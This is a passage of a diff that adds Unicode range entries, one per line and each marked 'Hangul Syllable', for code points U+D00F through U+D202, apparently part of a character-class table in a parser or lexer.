+ ["\uD00F", "\uD00F"], /* Hangul Syllable */
+ ["\uD010", "\uD010"], /* Hangul Syllable */
+ ["\uD011", "\uD011"], /* Hangul Syllable */
+ ["\uD012", "\uD012"], /* Hangul Syllable */
+ ["\uD013", "\uD013"], /* Hangul Syllable */
+ ["\uD014", "\uD014"], /* Hangul Syllable */
+ ["\uD015", "\uD015"], /* Hangul Syllable */
+ ["\uD016", "\uD016"], /* Hangul Syllable */
+ ["\uD017", "\uD017"], /* Hangul Syllable */
+ ["\uD018", "\uD018"], /* Hangul Syllable */
+ ["\uD019", "\uD019"], /* Hangul Syllable */
+ ["\uD01A", "\uD01A"], /* Hangul Syllable */
+ ["\uD01B", "\uD01B"], /* Hangul Syllable */
+ ["\uD01C", "\uD01C"], /* Hangul Syllable */
+ ["\uD01D", "\uD01D"], /* Hangul Syllable */
+ ["\uD01E", "\uD01E"], /* Hangul Syllable */
+ ["\uD01F", "\uD01F"], /* Hangul Syllable */
+ ["\uD020", "\uD020"], /* Hangul Syllable */
+ ["\uD021", "\uD021"], /* Hangul Syllable */
+ ["\uD022", "\uD022"], /* Hangul Syllable */
+ ["\uD023", "\uD023"], /* Hangul Syllable */
+ ["\uD024", "\uD024"], /* Hangul Syllable */
+ ["\uD025", "\uD025"], /* Hangul Syllable */
+ ["\uD026", "\uD026"], /* Hangul Syllable */
+ ["\uD027", "\uD027"], /* Hangul Syllable */
+ ["\uD028", "\uD028"], /* Hangul Syllable */
+ ["\uD029", "\uD029"], /* Hangul Syllable */
+ ["\uD02A", "\uD02A"], /* Hangul Syllable */
+ ["\uD02B", "\uD02B"], /* Hangul Syllable */
+ ["\uD02C", "\uD02C"], /* Hangul Syllable */
+ ["\uD02D", "\uD02D"], /* Hangul Syllable */
+ ["\uD02E", "\uD02E"], /* Hangul Syllable */
+ ["\uD02F", "\uD02F"], /* Hangul Syllable */
+ ["\uD030", "\uD030"], /* Hangul Syllable */
+ ["\uD031", "\uD031"], /* Hangul Syllable */
+ ["\uD032", "\uD032"], /* Hangul Syllable */
+ ["\uD033", "\uD033"], /* Hangul Syllable */
+ ["\uD034", "\uD034"], /* Hangul Syllable */
+ ["\uD035", "\uD035"], /* Hangul Syllable */
+ ["\uD036", "\uD036"], /* Hangul Syllable */
+ ["\uD037", "\uD037"], /* Hangul Syllable */
+ ["\uD038", "\uD038"], /* Hangul Syllable */
+ ["\uD039", "\uD039"], /* Hangul Syllable */
+ ["\uD03A", "\uD03A"], /* Hangul Syllable */
+ ["\uD03B", "\uD03B"], /* Hangul Syllable */
+ ["\uD03C", "\uD03C"], /* Hangul Syllable */
+ ["\uD03D", "\uD03D"], /* Hangul Syllable */
+ ["\uD03E", "\uD03E"], /* Hangul Syllable */
+ ["\uD03F", "\uD03F"], /* Hangul Syllable */
+ ["\uD040", "\uD040"], /* Hangul Syllable */
+ ["\uD041", "\uD041"], /* Hangul Syllable */
+ ["\uD042", "\uD042"], /* Hangul Syllable */
+ ["\uD043", "\uD043"], /* Hangul Syllable */
+ ["\uD044", "\uD044"], /* Hangul Syllable */
+ ["\uD045", "\uD045"], /* Hangul Syllable */
+ ["\uD046", "\uD046"], /* Hangul Syllable */
+ ["\uD047", "\uD047"], /* Hangul Syllable */
+ ["\uD048", "\uD048"], /* Hangul Syllable */
+ ["\uD049", "\uD049"], /* Hangul Syllable */
+ ["\uD04A", "\uD04A"], /* Hangul Syllable */
+ ["\uD04B", "\uD04B"], /* Hangul Syllable */
+ ["\uD04C", "\uD04C"], /* Hangul Syllable */
+ ["\uD04D", "\uD04D"], /* Hangul Syllable */
+ ["\uD04E", "\uD04E"], /* Hangul Syllable */
+ ["\uD04F", "\uD04F"], /* Hangul Syllable */
+ ["\uD050", "\uD050"], /* Hangul Syllable */
+ ["\uD051", "\uD051"], /* Hangul Syllable */
+ ["\uD052", "\uD052"], /* Hangul Syllable */
+ ["\uD053", "\uD053"], /* Hangul Syllable */
+ ["\uD054", "\uD054"], /* Hangul Syllable */
+ ["\uD055", "\uD055"], /* Hangul Syllable */
+ ["\uD056", "\uD056"], /* Hangul Syllable */
+ ["\uD057", "\uD057"], /* Hangul Syllable */
+ ["\uD058", "\uD058"], /* Hangul Syllable */
+ ["\uD059", "\uD059"], /* Hangul Syllable */
+ ["\uD05A", "\uD05A"], /* Hangul Syllable */
+ ["\uD05B", "\uD05B"], /* Hangul Syllable */
+ ["\uD05C", "\uD05C"], /* Hangul Syllable */
+ ["\uD05D", "\uD05D"], /* Hangul Syllable */
+ ["\uD05E", "\uD05E"], /* Hangul Syllable */
+ ["\uD05F", "\uD05F"], /* Hangul Syllable */
+ ["\uD060", "\uD060"], /* Hangul Syllable */
+ ["\uD061", "\uD061"], /* Hangul Syllable */
+ ["\uD062", "\uD062"], /* Hangul Syllable */
+ ["\uD063", "\uD063"], /* Hangul Syllable */
+ ["\uD064", "\uD064"], /* Hangul Syllable */
+ ["\uD065", "\uD065"], /* Hangul Syllable */
+ ["\uD066", "\uD066"], /* Hangul Syllable */
+ ["\uD067", "\uD067"], /* Hangul Syllable */
+ ["\uD068", "\uD068"], /* Hangul Syllable */
+ ["\uD069", "\uD069"], /* Hangul Syllable */
+ ["\uD06A", "\uD06A"], /* Hangul Syllable */
+ ["\uD06B", "\uD06B"], /* Hangul Syllable */
+ ["\uD06C", "\uD06C"], /* Hangul Syllable */
+ ["\uD06D", "\uD06D"], /* Hangul Syllable */
+ ["\uD06E", "\uD06E"], /* Hangul Syllable */
+ ["\uD06F", "\uD06F"], /* Hangul Syllable */
+ ["\uD070", "\uD070"], /* Hangul Syllable */
+ ["\uD071", "\uD071"], /* Hangul Syllable */
+ ["\uD072", "\uD072"], /* Hangul Syllable */
+ ["\uD073", "\uD073"], /* Hangul Syllable */
+ ["\uD074", "\uD074"], /* Hangul Syllable */
+ ["\uD075", "\uD075"], /* Hangul Syllable */
+ ["\uD076", "\uD076"], /* Hangul Syllable */
+ ["\uD077", "\uD077"], /* Hangul Syllable */
+ ["\uD078", "\uD078"], /* Hangul Syllable */
+ ["\uD079", "\uD079"], /* Hangul Syllable */
+ ["\uD07A", "\uD07A"], /* Hangul Syllable */
+ ["\uD07B", "\uD07B"], /* Hangul Syllable */
+ ["\uD07C", "\uD07C"], /* Hangul Syllable */
+ ["\uD07D", "\uD07D"], /* Hangul Syllable */
+ ["\uD07E", "\uD07E"], /* Hangul Syllable */
+ ["\uD07F", "\uD07F"], /* Hangul Syllable */
+ ["\uD080", "\uD080"], /* Hangul Syllable */
+ ["\uD081", "\uD081"], /* Hangul Syllable */
+ ["\uD082", "\uD082"], /* Hangul Syllable */
+ ["\uD083", "\uD083"], /* Hangul Syllable */
+ ["\uD084", "\uD084"], /* Hangul Syllable */
+ ["\uD085", "\uD085"], /* Hangul Syllable */
+ ["\uD086", "\uD086"], /* Hangul Syllable */
+ ["\uD087", "\uD087"], /* Hangul Syllable */
+ ["\uD088", "\uD088"], /* Hangul Syllable */
+ ["\uD089", "\uD089"], /* Hangul Syllable */
+ ["\uD08A", "\uD08A"], /* Hangul Syllable */
+ ["\uD08B", "\uD08B"], /* Hangul Syllable */
+ ["\uD08C", "\uD08C"], /* Hangul Syllable */
+ ["\uD08D", "\uD08D"], /* Hangul Syllable */
+ ["\uD08E", "\uD08E"], /* Hangul Syllable */
+ ["\uD08F", "\uD08F"], /* Hangul Syllable */
+ ["\uD090", "\uD090"], /* Hangul Syllable */
+ ["\uD091", "\uD091"], /* Hangul Syllable */
+ ["\uD092", "\uD092"], /* Hangul Syllable */
+ ["\uD093", "\uD093"], /* Hangul Syllable */
+ ["\uD094", "\uD094"], /* Hangul Syllable */
+ ["\uD095", "\uD095"], /* Hangul Syllable */
+ ["\uD096", "\uD096"], /* Hangul Syllable */
+ ["\uD097", "\uD097"], /* Hangul Syllable */
+ ["\uD098", "\uD098"], /* Hangul Syllable */
+ ["\uD099", "\uD099"], /* Hangul Syllable */
+ ["\uD09A", "\uD09A"], /* Hangul Syllable */
+ ["\uD09B", "\uD09B"], /* Hangul Syllable */
+ ["\uD09C", "\uD09C"], /* Hangul Syllable */
+ ["\uD09D", "\uD09D"], /* Hangul Syllable */
+ ["\uD09E", "\uD09E"], /* Hangul Syllable */
+ ["\uD09F", "\uD09F"], /* Hangul Syllable */
+ ["\uD0A0", "\uD0A0"], /* Hangul Syllable */
+ ["\uD0A1", "\uD0A1"], /* Hangul Syllable */
+ ["\uD0A2", "\uD0A2"], /* Hangul Syllable */
+ ["\uD0A3", "\uD0A3"], /* Hangul Syllable */
+ ["\uD0A4", "\uD0A4"], /* Hangul Syllable */
+ ["\uD0A5", "\uD0A5"], /* Hangul Syllable */
+ ["\uD0A6", "\uD0A6"], /* Hangul Syllable */
+ ["\uD0A7", "\uD0A7"], /* Hangul Syllable */
+ ["\uD0A8", "\uD0A8"], /* Hangul Syllable */
+ ["\uD0A9", "\uD0A9"], /* Hangul Syllable */
+ ["\uD0AA", "\uD0AA"], /* Hangul Syllable */
+ ["\uD0AB", "\uD0AB"], /* Hangul Syllable */
+ ["\uD0AC", "\uD0AC"], /* Hangul Syllable */
+ ["\uD0AD", "\uD0AD"], /* Hangul Syllable */
+ ["\uD0AE", "\uD0AE"], /* Hangul Syllable */
+ ["\uD0AF", "\uD0AF"], /* Hangul Syllable */
+ ["\uD0B0", "\uD0B0"], /* Hangul Syllable */
+ ["\uD0B1", "\uD0B1"], /* Hangul Syllable */
+ ["\uD0B2", "\uD0B2"], /* Hangul Syllable */
+ ["\uD0B3", "\uD0B3"], /* Hangul Syllable */
+ ["\uD0B4", "\uD0B4"], /* Hangul Syllable */
+ ["\uD0B5", "\uD0B5"], /* Hangul Syllable */
+ ["\uD0B6", "\uD0B6"], /* Hangul Syllable */
+ ["\uD0B7", "\uD0B7"], /* Hangul Syllable */
+ ["\uD0B8", "\uD0B8"], /* Hangul Syllable */
+ ["\uD0B9", "\uD0B9"], /* Hangul Syllable */
+ ["\uD0BA", "\uD0BA"], /* Hangul Syllable */
+ ["\uD0BB", "\uD0BB"], /* Hangul Syllable */
+ ["\uD0BC", "\uD0BC"], /* Hangul Syllable */
+ ["\uD0BD", "\uD0BD"], /* Hangul Syllable */
+ ["\uD0BE", "\uD0BE"], /* Hangul Syllable */
+ ["\uD0BF", "\uD0BF"], /* Hangul Syllable */
+ ["\uD0C0", "\uD0C0"], /* Hangul Syllable */
+ ["\uD0C1", "\uD0C1"], /* Hangul Syllable */
+ ["\uD0C2", "\uD0C2"], /* Hangul Syllable */
+ ["\uD0C3", "\uD0C3"], /* Hangul Syllable */
+ ["\uD0C4", "\uD0C4"], /* Hangul Syllable */
+ ["\uD0C5", "\uD0C5"], /* Hangul Syllable */
+ ["\uD0C6", "\uD0C6"], /* Hangul Syllable */
+ ["\uD0C7", "\uD0C7"], /* Hangul Syllable */
+ ["\uD0C8", "\uD0C8"], /* Hangul Syllable */
+ ["\uD0C9", "\uD0C9"], /* Hangul Syllable */
+ ["\uD0CA", "\uD0CA"], /* Hangul Syllable */
+ ["\uD0CB", "\uD0CB"], /* Hangul Syllable */
+ ["\uD0CC", "\uD0CC"], /* Hangul Syllable */
+ ["\uD0CD", "\uD0CD"], /* Hangul Syllable */
+ ["\uD0CE", "\uD0CE"], /* Hangul Syllable */
+ ["\uD0CF", "\uD0CF"], /* Hangul Syllable */
+ ["\uD0D0", "\uD0D0"], /* Hangul Syllable */
+ ["\uD0D1", "\uD0D1"], /* Hangul Syllable */
+ ["\uD0D2", "\uD0D2"], /* Hangul Syllable */
+ ["\uD0D3", "\uD0D3"], /* Hangul Syllable */
+ ["\uD0D4", "\uD0D4"], /* Hangul Syllable */
+ ["\uD0D5", "\uD0D5"], /* Hangul Syllable */
+ ["\uD0D6", "\uD0D6"], /* Hangul Syllable */
+ ["\uD0D7", "\uD0D7"], /* Hangul Syllable */
+ ["\uD0D8", "\uD0D8"], /* Hangul Syllable */
+ ["\uD0D9", "\uD0D9"], /* Hangul Syllable */
+ ["\uD0DA", "\uD0DA"], /* Hangul Syllable */
+ ["\uD0DB", "\uD0DB"], /* Hangul Syllable */
+ ["\uD0DC", "\uD0DC"], /* Hangul Syllable */
+ ["\uD0DD", "\uD0DD"], /* Hangul Syllable */
+ ["\uD0DE", "\uD0DE"], /* Hangul Syllable */
+ ["\uD0DF", "\uD0DF"], /* Hangul Syllable */
+ ["\uD0E0", "\uD0E0"], /* Hangul Syllable */
+ ["\uD0E1", "\uD0E1"], /* Hangul Syllable */
+ ["\uD0E2", "\uD0E2"], /* Hangul Syllable */
+ ["\uD0E3", "\uD0E3"], /* Hangul Syllable */
+ ["\uD0E4", "\uD0E4"], /* Hangul Syllable */
+ ["\uD0E5", "\uD0E5"], /* Hangul Syllable */
+ ["\uD0E6", "\uD0E6"], /* Hangul Syllable */
+ ["\uD0E7", "\uD0E7"], /* Hangul Syllable */
+ ["\uD0E8", "\uD0E8"], /* Hangul Syllable */
+ ["\uD0E9", "\uD0E9"], /* Hangul Syllable */
+ ["\uD0EA", "\uD0EA"], /* Hangul Syllable */
+ ["\uD0EB", "\uD0EB"], /* Hangul Syllable */
+ ["\uD0EC", "\uD0EC"], /* Hangul Syllable */
+ ["\uD0ED", "\uD0ED"], /* Hangul Syllable */
+ ["\uD0EE", "\uD0EE"], /* Hangul Syllable */
+ ["\uD0EF", "\uD0EF"], /* Hangul Syllable */
+ ["\uD0F0", "\uD0F0"], /* Hangul Syllable */
+ ["\uD0F1", "\uD0F1"], /* Hangul Syllable */
+ ["\uD0F2", "\uD0F2"], /* Hangul Syllable */
+ ["\uD0F3", "\uD0F3"], /* Hangul Syllable */
+ ["\uD0F4", "\uD0F4"], /* Hangul Syllable */
+ ["\uD0F5", "\uD0F5"], /* Hangul Syllable */
+ ["\uD0F6", "\uD0F6"], /* Hangul Syllable */
+ ["\uD0F7", "\uD0F7"], /* Hangul Syllable */
+ ["\uD0F8", "\uD0F8"], /* Hangul Syllable */
+ ["\uD0F9", "\uD0F9"], /* Hangul Syllable */
+ ["\uD0FA", "\uD0FA"], /* Hangul Syllable */
+ ["\uD0FB", "\uD0FB"], /* Hangul Syllable */
+ ["\uD0FC", "\uD0FC"], /* Hangul Syllable */
+ ["\uD0FD", "\uD0FD"], /* Hangul Syllable */
+ ["\uD0FE", "\uD0FE"], /* Hangul Syllable */
+ ["\uD0FF", "\uD0FF"], /* Hangul Syllable */
+ ["\uD100", "\uD100"], /* Hangul Syllable */
+ ["\uD101", "\uD101"], /* Hangul Syllable */
+ ["\uD102", "\uD102"], /* Hangul Syllable */
+ ["\uD103", "\uD103"], /* Hangul Syllable */
+ ["\uD104", "\uD104"], /* Hangul Syllable */
+ ["\uD105", "\uD105"], /* Hangul Syllable */
+ ["\uD106", "\uD106"], /* Hangul Syllable */
+ ["\uD107", "\uD107"], /* Hangul Syllable */
+ ["\uD108", "\uD108"], /* Hangul Syllable */
+ ["\uD109", "\uD109"], /* Hangul Syllable */
+ ["\uD10A", "\uD10A"], /* Hangul Syllable */
+ ["\uD10B", "\uD10B"], /* Hangul Syllable */
+ ["\uD10C", "\uD10C"], /* Hangul Syllable */
+ ["\uD10D", "\uD10D"], /* Hangul Syllable */
+ ["\uD10E", "\uD10E"], /* Hangul Syllable */
+ ["\uD10F", "\uD10F"], /* Hangul Syllable */
+ ["\uD110", "\uD110"], /* Hangul Syllable */
+ ["\uD111", "\uD111"], /* Hangul Syllable */
+ ["\uD112", "\uD112"], /* Hangul Syllable */
+ ["\uD113", "\uD113"], /* Hangul Syllable */
+ ["\uD114", "\uD114"], /* Hangul Syllable */
+ ["\uD115", "\uD115"], /* Hangul Syllable */
+ ["\uD116", "\uD116"], /* Hangul Syllable */
+ ["\uD117", "\uD117"], /* Hangul Syllable */
+ ["\uD118", "\uD118"], /* Hangul Syllable */
+ ["\uD119", "\uD119"], /* Hangul Syllable */
+ ["\uD11A", "\uD11A"], /* Hangul Syllable */
+ ["\uD11B", "\uD11B"], /* Hangul Syllable */
+ ["\uD11C", "\uD11C"], /* Hangul Syllable */
+ ["\uD11D", "\uD11D"], /* Hangul Syllable */
+ ["\uD11E", "\uD11E"], /* Hangul Syllable */
+ ["\uD11F", "\uD11F"], /* Hangul Syllable */
+ ["\uD120", "\uD120"], /* Hangul Syllable */
+ ["\uD121", "\uD121"], /* Hangul Syllable */
+ ["\uD122", "\uD122"], /* Hangul Syllable */
+ ["\uD123", "\uD123"], /* Hangul Syllable */
+ ["\uD124", "\uD124"], /* Hangul Syllable */
+ ["\uD125", "\uD125"], /* Hangul Syllable */
+ ["\uD126", "\uD126"], /* Hangul Syllable */
+ ["\uD127", "\uD127"], /* Hangul Syllable */
+ ["\uD128", "\uD128"], /* Hangul Syllable */
+ ["\uD129", "\uD129"], /* Hangul Syllable */
+ ["\uD12A", "\uD12A"], /* Hangul Syllable */
+ ["\uD12B", "\uD12B"], /* Hangul Syllable */
+ ["\uD12C", "\uD12C"], /* Hangul Syllable */
+ ["\uD12D", "\uD12D"], /* Hangul Syllable */
+ ["\uD12E", "\uD12E"], /* Hangul Syllable */
+ ["\uD12F", "\uD12F"], /* Hangul Syllable */
+ ["\uD130", "\uD130"], /* Hangul Syllable */
+ ["\uD131", "\uD131"], /* Hangul Syllable */
+ ["\uD132", "\uD132"], /* Hangul Syllable */
+ ["\uD133", "\uD133"], /* Hangul Syllable */
+ ["\uD134", "\uD134"], /* Hangul Syllable */
+ ["\uD135", "\uD135"], /* Hangul Syllable */
+ ["\uD136", "\uD136"], /* Hangul Syllable */
+ ["\uD137", "\uD137"], /* Hangul Syllable */
+ ["\uD138", "\uD138"], /* Hangul Syllable */
+ ["\uD139", "\uD139"], /* Hangul Syllable */
+ ["\uD13A", "\uD13A"], /* Hangul Syllable */
+ ["\uD13B", "\uD13B"], /* Hangul Syllable */
+ ["\uD13C", "\uD13C"], /* Hangul Syllable */
+ ["\uD13D", "\uD13D"], /* Hangul Syllable */
+ ["\uD13E", "\uD13E"], /* Hangul Syllable */
+ ["\uD13F", "\uD13F"], /* Hangul Syllable */
+ ["\uD140", "\uD140"], /* Hangul Syllable */
+ ["\uD141", "\uD141"], /* Hangul Syllable */
+ ["\uD142", "\uD142"], /* Hangul Syllable */
+ ["\uD143", "\uD143"], /* Hangul Syllable */
+ ["\uD144", "\uD144"], /* Hangul Syllable */
+ ["\uD145", "\uD145"], /* Hangul Syllable */
+ ["\uD146", "\uD146"], /* Hangul Syllable */
+ ["\uD147", "\uD147"], /* Hangul Syllable */
+ ["\uD148", "\uD148"], /* Hangul Syllable */
+ ["\uD149", "\uD149"], /* Hangul Syllable */
+ ["\uD14A", "\uD14A"], /* Hangul Syllable */
+ ["\uD14B", "\uD14B"], /* Hangul Syllable */
+ ["\uD14C", "\uD14C"], /* Hangul Syllable */
+ ["\uD14D", "\uD14D"], /* Hangul Syllable */
+ ["\uD14E", "\uD14E"], /* Hangul Syllable */
+ ["\uD14F", "\uD14F"], /* Hangul Syllable */
+ ["\uD150", "\uD150"], /* Hangul Syllable */
+ ["\uD151", "\uD151"], /* Hangul Syllable */
+ ["\uD152", "\uD152"], /* Hangul Syllable */
+ ["\uD153", "\uD153"], /* Hangul Syllable */
+ ["\uD154", "\uD154"], /* Hangul Syllable */
+ ["\uD155", "\uD155"], /* Hangul Syllable */
+ ["\uD156", "\uD156"], /* Hangul Syllable */
+ ["\uD157", "\uD157"], /* Hangul Syllable */
+ ["\uD158", "\uD158"], /* Hangul Syllable */
+ ["\uD159", "\uD159"], /* Hangul Syllable */
+ ["\uD15A", "\uD15A"], /* Hangul Syllable */
+ ["\uD15B", "\uD15B"], /* Hangul Syllable */
+ ["\uD15C", "\uD15C"], /* Hangul Syllable */
+ ["\uD15D", "\uD15D"], /* Hangul Syllable */
+ ["\uD15E", "\uD15E"], /* Hangul Syllable */
+ ["\uD15F", "\uD15F"], /* Hangul Syllable */
+ ["\uD160", "\uD160"], /* Hangul Syllable */
+ ["\uD161", "\uD161"], /* Hangul Syllable */
+ ["\uD162", "\uD162"], /* Hangul Syllable */
+ ["\uD163", "\uD163"], /* Hangul Syllable */
+ ["\uD164", "\uD164"], /* Hangul Syllable */
+ ["\uD165", "\uD165"], /* Hangul Syllable */
+ ["\uD166", "\uD166"], /* Hangul Syllable */
+ ["\uD167", "\uD167"], /* Hangul Syllable */
+ ["\uD168", "\uD168"], /* Hangul Syllable */
+ ["\uD169", "\uD169"], /* Hangul Syllable */
+ ["\uD16A", "\uD16A"], /* Hangul Syllable */
+ ["\uD16B", "\uD16B"], /* Hangul Syllable */
+ ["\uD16C", "\uD16C"], /* Hangul Syllable */
+ ["\uD16D", "\uD16D"], /* Hangul Syllable */
+ ["\uD16E", "\uD16E"], /* Hangul Syllable */
+ ["\uD16F", "\uD16F"], /* Hangul Syllable */
+ ["\uD170", "\uD170"], /* Hangul Syllable */
+ ["\uD171", "\uD171"], /* Hangul Syllable */
+ ["\uD172", "\uD172"], /* Hangul Syllable */
+ ["\uD173", "\uD173"], /* Hangul Syllable */
+ ["\uD174", "\uD174"], /* Hangul Syllable */
+ ["\uD175", "\uD175"], /* Hangul Syllable */
+ ["\uD176", "\uD176"], /* Hangul Syllable */
+ ["\uD177", "\uD177"], /* Hangul Syllable */
+ ["\uD178", "\uD178"], /* Hangul Syllable */
+ ["\uD179", "\uD179"], /* Hangul Syllable */
+ ["\uD17A", "\uD17A"], /* Hangul Syllable */
+ ["\uD17B", "\uD17B"], /* Hangul Syllable */
+ ["\uD17C", "\uD17C"], /* Hangul Syllable */
+ ["\uD17D", "\uD17D"], /* Hangul Syllable */
+ ["\uD17E", "\uD17E"], /* Hangul Syllable */
+ ["\uD17F", "\uD17F"], /* Hangul Syllable */
+ ["\uD180", "\uD180"], /* Hangul Syllable */
+ ["\uD181", "\uD181"], /* Hangul Syllable */
+ ["\uD182", "\uD182"], /* Hangul Syllable */
+ ["\uD183", "\uD183"], /* Hangul Syllable */
+ ["\uD184", "\uD184"], /* Hangul Syllable */
+ ["\uD185", "\uD185"], /* Hangul Syllable */
+ ["\uD186", "\uD186"], /* Hangul Syllable */
+ ["\uD187", "\uD187"], /* Hangul Syllable */
+ ["\uD188", "\uD188"], /* Hangul Syllable */
+ ["\uD189", "\uD189"], /* Hangul Syllable */
+ ["\uD18A", "\uD18A"], /* Hangul Syllable */
+ ["\uD18B", "\uD18B"], /* Hangul Syllable */
+ ["\uD18C", "\uD18C"], /* Hangul Syllable */
+ ["\uD18D", "\uD18D"], /* Hangul Syllable */
+ ["\uD18E", "\uD18E"], /* Hangul Syllable */
+ ["\uD18F", "\uD18F"], /* Hangul Syllable */
+ ["\uD190", "\uD190"], /* Hangul Syllable */
+ ["\uD191", "\uD191"], /* Hangul Syllable */
+ ["\uD192", "\uD192"], /* Hangul Syllable */
+ ["\uD193", "\uD193"], /* Hangul Syllable */
+ ["\uD194", "\uD194"], /* Hangul Syllable */
+ ["\uD195", "\uD195"], /* Hangul Syllable */
+ ["\uD196", "\uD196"], /* Hangul Syllable */
+ ["\uD197", "\uD197"], /* Hangul Syllable */
+ ["\uD198", "\uD198"], /* Hangul Syllable */
+ ["\uD199", "\uD199"], /* Hangul Syllable */
+ ["\uD19A", "\uD19A"], /* Hangul Syllable */
+ ["\uD19B", "\uD19B"], /* Hangul Syllable */
+ ["\uD19C", "\uD19C"], /* Hangul Syllable */
+ ["\uD19D", "\uD19D"], /* Hangul Syllable */
+ ["\uD19E", "\uD19E"], /* Hangul Syllable */
+ ["\uD19F", "\uD19F"], /* Hangul Syllable */
+ ["\uD1A0", "\uD1A0"], /* Hangul Syllable */
+ ["\uD1A1", "\uD1A1"], /* Hangul Syllable */
+ ["\uD1A2", "\uD1A2"], /* Hangul Syllable */
+ ["\uD1A3", "\uD1A3"], /* Hangul Syllable */
+ ["\uD1A4", "\uD1A4"], /* Hangul Syllable */
+ ["\uD1A5", "\uD1A5"], /* Hangul Syllable */
+ ["\uD1A6", "\uD1A6"], /* Hangul Syllable */
+ ["\uD1A7", "\uD1A7"], /* Hangul Syllable */
+ ["\uD1A8", "\uD1A8"], /* Hangul Syllable */
+ ["\uD1A9", "\uD1A9"], /* Hangul Syllable */
+ ["\uD1AA", "\uD1AA"], /* Hangul Syllable */
+ ["\uD1AB", "\uD1AB"], /* Hangul Syllable */
+ ["\uD1AC", "\uD1AC"], /* Hangul Syllable */
+ ["\uD1AD", "\uD1AD"], /* Hangul Syllable */
+ ["\uD1AE", "\uD1AE"], /* Hangul Syllable */
+ ["\uD1AF", "\uD1AF"], /* Hangul Syllable */
+ ["\uD1B0", "\uD1B0"], /* Hangul Syllable */
+ ["\uD1B1", "\uD1B1"], /* Hangul Syllable */
+ ["\uD1B2", "\uD1B2"], /* Hangul Syllable */
+ ["\uD1B3", "\uD1B3"], /* Hangul Syllable */
+ ["\uD1B4", "\uD1B4"], /* Hangul Syllable */
+ ["\uD1B5", "\uD1B5"], /* Hangul Syllable */
+ ["\uD1B6", "\uD1B6"], /* Hangul Syllable */
+ ["\uD1B7", "\uD1B7"], /* Hangul Syllable */
+ ["\uD1B8", "\uD1B8"], /* Hangul Syllable */
+ ["\uD1B9", "\uD1B9"], /* Hangul Syllable */
+ ["\uD1BA", "\uD1BA"], /* Hangul Syllable */
+ ["\uD1BB", "\uD1BB"], /* Hangul Syllable */
+ ["\uD1BC", "\uD1BC"], /* Hangul Syllable */
+ ["\uD1BD", "\uD1BD"], /* Hangul Syllable */
+ ["\uD1BE", "\uD1BE"], /* Hangul Syllable */
+ ["\uD1BF", "\uD1BF"], /* Hangul Syllable */
+ ["\uD1C0", "\uD1C0"], /* Hangul Syllable */
+ ["\uD1C1", "\uD1C1"], /* Hangul Syllable */
+ ["\uD1C2", "\uD1C2"], /* Hangul Syllable */
+ ["\uD1C3", "\uD1C3"], /* Hangul Syllable */
+ ["\uD1C4", "\uD1C4"], /* Hangul Syllable */
+ ["\uD1C5", "\uD1C5"], /* Hangul Syllable */
+ ["\uD1C6", "\uD1C6"], /* Hangul Syllable */
+ ["\uD1C7", "\uD1C7"], /* Hangul Syllable */
+ ["\uD1C8", "\uD1C8"], /* Hangul Syllable */
+ ["\uD1C9", "\uD1C9"], /* Hangul Syllable */
+ ["\uD1CA", "\uD1CA"], /* Hangul Syllable */
+ ["\uD1CB", "\uD1CB"], /* Hangul Syllable */
+ ["\uD1CC", "\uD1CC"], /* Hangul Syllable */
+ ["\uD1CD", "\uD1CD"], /* Hangul Syllable */
+ ["\uD1CE", "\uD1CE"], /* Hangul Syllable */
+ ["\uD1CF", "\uD1CF"], /* Hangul Syllable */
+ ["\uD1D0", "\uD1D0"], /* Hangul Syllable */
+ ["\uD1D1", "\uD1D1"], /* Hangul Syllable */
+ ["\uD1D2", "\uD1D2"], /* Hangul Syllable */
+ ["\uD1D3", "\uD1D3"], /* Hangul Syllable */
+ ["\uD1D4", "\uD1D4"], /* Hangul Syllable */
+ ["\uD1D5", "\uD1D5"], /* Hangul Syllable */
+ ["\uD1D6", "\uD1D6"], /* Hangul Syllable */
+ ["\uD1D7", "\uD1D7"], /* Hangul Syllable */
+ ["\uD1D8", "\uD1D8"], /* Hangul Syllable */
+ ["\uD1D9", "\uD1D9"], /* Hangul Syllable */
+ ["\uD1DA", "\uD1DA"], /* Hangul Syllable */
+ ["\uD1DB", "\uD1DB"], /* Hangul Syllable */
+ ["\uD1DC", "\uD1DC"], /* Hangul Syllable */
+ ["\uD1DD", "\uD1DD"], /* Hangul Syllable */
+ ["\uD1DE", "\uD1DE"], /* Hangul Syllable */
+ ["\uD1DF", "\uD1DF"], /* Hangul Syllable */
+ ["\uD1E0", "\uD1E0"], /* Hangul Syllable */
+ ["\uD1E1", "\uD1E1"], /* Hangul Syllable */
+ ["\uD1E2", "\uD1E2"], /* Hangul Syllable */
+ ["\uD1E3", "\uD1E3"], /* Hangul Syllable */
+ ["\uD1E4", "\uD1E4"], /* Hangul Syllable */
+ ["\uD1E5", "\uD1E5"], /* Hangul Syllable */
+ ["\uD1E6", "\uD1E6"], /* Hangul Syllable */
+ ["\uD1E7", "\uD1E7"], /* Hangul Syllable */
+ ["\uD1E8", "\uD1E8"], /* Hangul Syllable */
+ ["\uD1E9", "\uD1E9"], /* Hangul Syllable */
+ ["\uD1EA", "\uD1EA"], /* Hangul Syllable */
+ ["\uD1EB", "\uD1EB"], /* Hangul Syllable */
+ ["\uD1EC", "\uD1EC"], /* Hangul Syllable */
+ ["\uD1ED", "\uD1ED"], /* Hangul Syllable */
+ ["\uD1EE", "\uD1EE"], /* Hangul Syllable */
+ ["\uD1EF", "\uD1EF"], /* Hangul Syllable */
+ ["\uD1F0", "\uD1F0"], /* Hangul Syllable */
+ ["\uD1F1", "\uD1F1"], /* Hangul Syllable */
+ ["\uD1F2", "\uD1F2"], /* Hangul Syllable */
+ ["\uD1F3", "\uD1F3"], /* Hangul Syllable */
+ ["\uD1F4", "\uD1F4"], /* Hangul Syllable */
+ ["\uD1F5", "\uD1F5"], /* Hangul Syllable */
+ ["\uD1F6", "\uD1F6"], /* Hangul Syllable */
+ ["\uD1F7", "\uD1F7"], /* Hangul Syllable */
+ ["\uD1F8", "\uD1F8"], /* Hangul Syllable */
+ ["\uD1F9", "\uD1F9"], /* Hangul Syllable */
+ ["\uD1FA", "\uD1FA"], /* Hangul Syllable */
+ ["\uD1FB", "\uD1FB"], /* Hangul Syllable */
+ ["\uD1FC", "\uD1FC"], /* Hangul Syllable */
+ ["\uD1FD", "\uD1FD"], /* Hangul Syllable */
+ ["\uD1FE", "\uD1FE"], /* Hangul Syllable */
+ ["\uD1FF", "\uD1FF"], /* Hangul Syllable */
+ ["\uD200", "\uD200"], /* Hangul Syllable */
+ ["\uD201", "\uD201"], /* Hangul Syllable */
+ ["\uD202", "\uD202"], /* Hangul Syllable */
